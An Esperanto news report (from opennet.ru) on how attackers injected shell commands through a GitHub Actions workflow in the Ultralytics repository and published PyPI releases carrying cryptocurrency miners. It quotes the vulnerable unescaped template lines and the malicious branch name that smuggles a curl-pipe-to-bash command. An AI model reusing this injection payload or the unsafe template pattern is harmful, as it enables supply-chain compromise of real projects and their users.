Cimo en la prizorganto de GitHub Actions kaŭzis la publikigon de malicaj eldonoj de Ultralytics

Atakantoj sukcesis efektivigi kodon per la GitHub Actions-traktilo en la deponejo de la Ultralytics Python-biblioteko, kiu estas uzata por solvi komputilvidajn problemojn kiel objektodetekto kaj bildsegmentado. Post akiro de aliro al la deponejo, la atakantoj publikigis plurajn novajn Ultralytics-eldonojn en la PyPI-dosierujo, kiuj inkluzivis malicajn ŝanĝojn por kriptovaluta minado. Dum la pasinta monato, la Ultralytics-biblioteko estis elŝutita el la PyPI-dosierujo pli ol 6.4 milionojn da fojoj.

Por kompromiti la deponejon, vundebleco estis uzita en la pakaĵo ultralytics-actions, kiu estas uzata por aŭtomate lanĉi traktilojn kiam certaj agoj estas plenumitaj per deponejo en GitHub, uzante la mekanismon GitHub Actions. En la projekto ultralytics, la vundebla traktilo estis ligita al la evento pull_request_target kaj estis vokita kiam novaj tirpetoj estis ricevitaj. Aparte, por formati la kodon en la senditaj tirpetoj, la traktilo format.yml estis vokita kaj la kodo specifita en la sekcio "run" de la dosiero action.yml estis efektivigita, kiu enhavis ŝelkomandojn kun anstataŭigaj ŝablonoj: git pull origin ${{ github.head_ref || github.ref }} git config --global user.name "${{ inputs.github_username }}" git config --global user.email "${{ inputs.github_email }}"

Tiel, la nomo de la Git-branĉo menciita en la "pull request" estis anstataŭigita en ŝelkomandojn sen ĝusta eskapado. Rimarkinde, en aŭgusto, simila vundebleco rilata al la uzo de ekstera valoro en la funkcio "echo" jam estis riparita en la pakaĵo "ultralytics-actions": echo "github.event.pull_request.head.ref: ${{ github.event.pull_request.head.ref }}"

Por organizi la plenumon de sia kodo en la kunteksto de la GitHub Actions-traktilo, la atakantoj sendis tirpeton al la ultralytics-deponejo, specifante la branĉnomon: openimbot:$({curl,-sSfL,raw.githubusercontent.com/ultralytics/ultralytics/12e4f54ca3f2e69bcdc900d1c6e16642ca8ae545/file.sh}${IFS}|${IFS}bash)

Sekve, kiam oni ricevis peton pri retiro, la ĉeno “$(…)” specifita de la atakantoj estis enigita en la kodon, kio, post posta ekzekuto de la traktilo, kondukis al la ekzekuto de la kodo “curl -sSfL raw.githubusercontent.com/…/file.sh | bash”.

 Cimo en la prizorganto de GitHub Actions kaŭzis la publikigon de malicaj eldonoj de Ultralytics

Kodo-rulado en la kunteksto de GitHub Actions povas esti uzata por kapti alirĵetonon al deponejo kaj aliajn sentemajn datumojn. Ankoraŭ ne estas klare precize kiel la atakantoj sukcesis krei eldonon, akirante la kapablon efektivigi sian kodon en GitHub Actions, sed oni supozas, ke tio eblis pro ŝanĝo en la traktilo publish.yml (la atakantoj forigis la kontrolon por konto, kiu rajtas publikigi eldonojn en PyPI) kaj uzante la teknikon de venenado de la kaŝmemoro de GitHub Actions por anstataŭigi siajn datumojn en la eldonon.

La unua malica eldono de Ultralytics 8.3.41 estis publikigita de la atakantoj ĉe PyPI la 4-an de decembro je la 23:51 (MSK) kaj forigita je la 12:15 la sekvan tagon. Je la 15:47, alia eldono, 8.3.42, estis publikigita kaj forigita je la 16:47. Tiel, la malicaj versioj estis elŝuteblaj dum entute proksimume 13 horoj (PyPI registras proksimume 250 000 elŝutojn de la ultralytics-biblioteko ĉiutage). Eldonoj 8.3.41 kaj 8.3.42 enhavis kodon, kiu elŝutiĝis de ekstera... servilo XMRig-komponento por minado de kriptovalutoj.

La projekt-programistoj solvis la problemon kaj kreis korektajn eldonojn 8.3.43 kaj 8.3.44, sed du tagojn poste alia atako okazis, dum kiu la atakantoj publikigis du pliajn malicajn eldonojn hodiaŭ je 04:41 kaj 05:27 (MSK) - 8.3.45 kaj 8.3.46, kiuj inkluzivas malsaman minadkodon. Ĝis la esploro finiĝos, uzantoj estas konsilitaj prokrasti la instaladon de novaj versioj kaj korekti eldonon 8.3.44 en dependecoj.

fonto: opennet.ru

Aldoni komenton